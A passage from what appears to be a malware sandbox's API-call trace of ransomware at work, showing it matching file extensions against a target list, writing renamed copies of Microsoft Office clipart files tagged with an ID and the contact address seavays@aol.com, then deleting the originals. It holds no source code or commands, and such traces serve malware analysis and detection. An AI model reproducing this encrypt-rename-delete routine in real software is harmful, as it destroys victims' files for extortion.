returned 4 [0169.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.862] lstrlenW (lpString=".jpg") returned 4 [0169.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.863] lstrlenW (lpString=".doc") returned 4 [0169.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString=".docx") returned 5 [0169.863] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.863] lstrlenW (lpString=".pdf") returned 4 [0169.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString=".xls") returned 4 [0169.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.863] lstrlenW (lpString=".xlsx") returned 5 [0169.863] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.863] lstrlenW (lpString=".ppt") returned 4 [0169.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.863] lstrlenW (lpString=".zip") returned 4 [0169.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.863] lstrlenW (lpString=".rar") returned 4 [0169.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString=".bz2") returned 4 [0169.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString=".7z") returned 3 [0169.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.863] lstrlenW (lpString=".dbf") returned 4 [0169.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.863] lstrlenW (lpString=".1cd") returned 4 [0169.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68 [0169.864] lstrlenW (lpString=".jpg") returned 4 [0169.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.864] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0169.864] lstrlenW (lpString="J0105390.WMF") returned 12 [0169.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.865] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4944) returned 1 [0169.865] CloseHandle (hObject=0x528) returned 1 [0169.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0169.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0169.866] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.866] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.867] GetLastError () returned 0x0 [0169.867] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1350, lpOverlapped=0x0) returned 1 [0169.869] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1360, lpOverlapped=0x0) returned 1 [0169.870] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0169.870] WriteFile (in: hFile=0x518, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0169.870] SetEndOfFile (hFile=0x518) returned 1 [0169.871] CloseHandle (hObject=0x518) returned 1 [0169.871] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0169.871] SetEndOfFile (hFile=0x528) returned 1 [0170.020] CloseHandle (hObject=0x528) returned 1 [0170.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0170.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.022] lstrlenW (lpString=".doc") returned 4 [0170.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.022] lstrlenW (lpString=".docx") returned 5 [0170.022] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.022] lstrlenW (lpString=".pdf") returned 4 [0170.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.022] lstrlenW (lpString=".xls") returned 4 [0170.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.022] lstrlenW (lpString=".xlsx") returned 5 [0170.022] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.022] lstrlenW (lpString=".ppt") returned 4 [0170.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.022] lstrlenW (lpString=".zip") returned 4 [0170.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.022] lstrlenW (lpString=".rar") returned 4 [0170.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.022] lstrlenW (lpString=".bz2") returned 4 [0170.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.022] lstrlenW (lpString=".7z") returned 3 [0170.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.023] lstrlenW (lpString=".dbf") returned 4 [0170.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.023] lstrlenW (lpString=".1cd") returned 4 [0170.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.023] lstrlenW (lpString=".jpg") returned 4 [0170.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.023] lstrlenW (lpString=".doc") returned 4 [0170.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString=".docx") returned 5 [0170.023] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.023] lstrlenW (lpString=".pdf") returned 4 [0170.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString=".xls") returned 4 [0170.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.023] lstrlenW (lpString=".xlsx") returned 5 [0170.023] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.023] lstrlenW (lpString=".ppt") returned 4 [0170.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.024] lstrlenW (lpString=".zip") returned 4 [0170.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.024] lstrlenW (lpString=".rar") returned 4 [0170.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.024] lstrlenW (lpString=".bz2") returned 4 [0170.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.024] lstrlenW (lpString=".7z") returned 3 [0170.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.024] lstrlenW (lpString=".dbf") returned 4 [0170.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.024] lstrlenW (lpString=".1cd") returned 4 [0170.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0170.024] lstrlenW (lpString=".jpg") returned 4 [0170.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.024] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.024] lstrlenW (lpString="J0105414.WMF") returned 12 [0170.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.025] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=6244) returned 1 [0170.025] CloseHandle (hObject=0x528) returned 1 [0170.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0170.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.026] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.026] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.027] GetLastError () returned 0x0 [0170.027] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1864, lpOverlapped=0x0) returned 1 [0170.030] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1870, lpOverlapped=0x0) returned 1 [0170.032] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.032] SetEndOfFile (hFile=0x530) returned 1 [0170.032] CloseHandle (hObject=0x530) returned 1 [0170.032] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.032] SetEndOfFile (hFile=0x528) returned 1 [0170.036] CloseHandle (hObject=0x528) returned 1 [0170.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.038] lstrlenW (lpString=".doc") returned 4 [0170.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".docx") returned 5 [0170.038] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.038] lstrlenW (lpString=".pdf") returned 4 [0170.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString=".xls") returned 4 [0170.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.038] lstrlenW (lpString=".xlsx") returned 5 [0170.038] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.038] lstrlenW (lpString=".ppt") returned 4 [0170.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.038] lstrlenW (lpString=".zip") returned 4 [0170.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.038] lstrlenW (lpString=".rar") returned 4 [0170.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString=".bz2") returned 4 [0170.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString=".7z") returned 3 [0170.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.039] lstrlenW (lpString=".dbf") returned 4 [0170.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.039] lstrlenW (lpString=".1cd") returned 4 [0170.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.039] lstrlenW (lpString=".jpg") returned 4 [0170.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.039] lstrlenW (lpString=".doc") returned 4 [0170.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString=".docx") returned 5 [0170.039] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.039] lstrlenW (lpString=".pdf") returned 4 [0170.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.039] lstrlenW (lpString=".xls") returned 4 [0170.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.039] lstrlenW (lpString=".xlsx") returned 5 [0170.039] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.040] lstrlenW (lpString=".ppt") returned 4 [0170.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.040] lstrlenW (lpString=".zip") returned 4 [0170.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.040] lstrlenW (lpString=".rar") returned 4 [0170.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.040] lstrlenW (lpString=".bz2") returned 4 [0170.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.040] lstrlenW (lpString=".7z") returned 3 [0170.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.040] lstrlenW (lpString=".dbf") returned 4 [0170.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.040] lstrlenW (lpString=".1cd") returned 4 [0170.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0170.040] lstrlenW (lpString=".jpg") returned 4 [0170.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.040] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0170.041] lstrlenW (lpString="J0105490.WMF") returned 12 [0170.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.042] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=18728) returned 1 [0170.042] CloseHandle (hObject=0x528) returned 1 [0170.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0170.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.044] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.044] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.045] GetLastError () returned 0x0 [0170.045] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x4928, lpOverlapped=0x0) returned 1 [0170.048] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x4930, lpOverlapped=0x0) returned 1 [0170.049] ReadFile (in: hFile=0x528, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0170.049] WriteFile (in: hFile=0x530, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0170.049] SetEndOfFile (hFile=0x530) returned 1 [0170.049] CloseHandle (hObject=0x530) returned 1 [0170.050] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0170.050] SetEndOfFile (hFile=0x528) returned 1 [0170.054] CloseHandle (hObject=0x528) returned 1 [0170.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0170.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0170.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.055] lstrlenW (lpString=".doc") returned 4 [0170.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.055] lstrlenW (lpString=".docx") returned 5 [0170.055] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.055] lstrlenW (lpString=".pdf") returned 4 [0170.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString=".xls") returned 4 [0170.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.056] lstrlenW (lpString=".xlsx") returned 5 [0170.056] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.056] lstrlenW (lpString=".ppt") returned 4 [0170.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.056] lstrlenW (lpString=".zip") returned 4 [0170.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.056] lstrlenW (lpString=".rar") returned 4 [0170.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString=".bz2") returned 4 [0170.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString=".7z") returned 3 [0170.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.056] lstrlenW (lpString=".dbf") returned 4 [0170.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.056] lstrlenW (lpString=".1cd") returned 4 [0170.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.056] lstrlenW (lpString=".jpg") returned 4 [0170.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0170.057] lstrlenW (lpString=".doc") returned 4 [0170.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.057] lstrlenW (lpString=".docx") returned 5 [0170.057] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.057] lstrlenW (lpString=".pdf") returned 4 